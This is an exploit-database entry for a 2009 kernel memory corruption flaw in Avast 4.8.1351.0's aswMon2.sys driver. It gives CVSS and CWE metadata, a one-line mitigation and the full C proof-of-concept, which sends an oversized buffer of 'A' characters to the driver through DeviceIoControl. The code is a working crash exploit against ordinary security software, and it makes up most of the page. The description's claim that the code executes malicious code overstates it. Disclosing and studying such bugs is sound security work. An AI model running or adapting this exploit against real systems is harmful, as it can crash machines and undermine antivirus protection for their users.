Avast 4.8.1351.0 antivirus aswMon2.sys Kernel Memory Corruption

vendor:

Avast Antivirus

by:

Giuseppe 'Evilcry' Bonfa'

7.8

CVSS

HIGH

Kernel Memory Corruption

119

CWE

Product Name: Avast Antivirus

Affected Version From: 4.8.1351.0

Affected Version To: 4.8.1351.0

Patch Exists: YES

Related CWE: N/A

CPE: avast_antivirus_4.8.1351.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2009

Avast 4.8.1351.0 antivirus aswMon2.sys Kernel Memory Corruption

This exploit is for Avast 4.8.1351.0 antivirus aswMon2.sys Kernel Memory Corruption. It uses a DeviceIoControl call to execute a malicious code. The exploit uses a VirtualAlloc call to allocate a buffer of 0x288 bytes and then fills it with 'A' characters. It then passes the buffer to the DeviceIoControl call.

Mitigation:

Update to the latest version of Avast antivirus.

Source

Exploit-DB raw data:

/* Avast 4.8.1351.0 antivirus aswMon2.sys Kernel Memory Corruption
 *
 * Author: Giuseppe 'Evilcry' Bonfa'
 * E-Mail: evilcry _AT_ gmail _DOT_ com
 * Website: http://evilcry.netsons.org
 *          http://evilcodecave.blogspot.com 
 *          http://evilfingers.com
 *
 * Vendor: Notified
 *
 * No L.P.E. for kiddies
 * /

#define WIN32_LEAN_AND_MEAN
#include < windows.h>
#include < stdio.h>


BOOL OpenDevice(PWSTR DriverName, HANDLE *lphDevice) //taken from esagelab
{
        WCHAR DeviceName[MAX_PATH];
        HANDLE hDevice;

        if ((GetVersion() & 0xFF) >= 5) 
        {
                wcscpy(DeviceName, L"\\\\.\\Global\\");
        } 
        else 
        {
                wcscpy(DeviceName, L"\\\\.\\");
        }

        wcscat(DeviceName, DriverName);

        printf("Opening.. %S\n", DeviceName);

        hDevice = CreateFileW(DeviceName, GENERIC_READ | 
        GENERIC_WRITE, 0, NULL, OPEN_EXISTING,
                FILE_ATTRIBUTE_NORMAL, NULL);

        if (hDevice == INVALID_HANDLE_VALUE)
        {
                printf("CreateFile() ERROR %d\n", GetLastError());
                return FALSE;
        }

        *lphDevice = hDevice;

       return TRUE;
}

int main()
{
        HANDLE hDev = NULL;
        DWORD Junk;

        if(!OpenDevice(L"aswMon",&hDev))
        {
                printf("Unable to access aswMon");
                return(0);
        }

        char *Buff = (char *)VirtualAlloc(NULL, 0x288, MEM_RESERVE | 
        MEM_COMMIT, PAGE_EXECUTE_READWRITE);

        if (Buff)
        {
                memset(Buff, 'A', 0x288);
                DeviceIoControl(hDev,0xB2C80018,Buff,
                0x288,Buff,0x288,&Junk,(LPOVERLAPPED)NULL);
                printf("DeviceIoControl Executed..\n"); 
        }    
        else
        {
                printf("VirtualAlloc() ERROR %d\n", GetLastError());
        }


        return(0);
}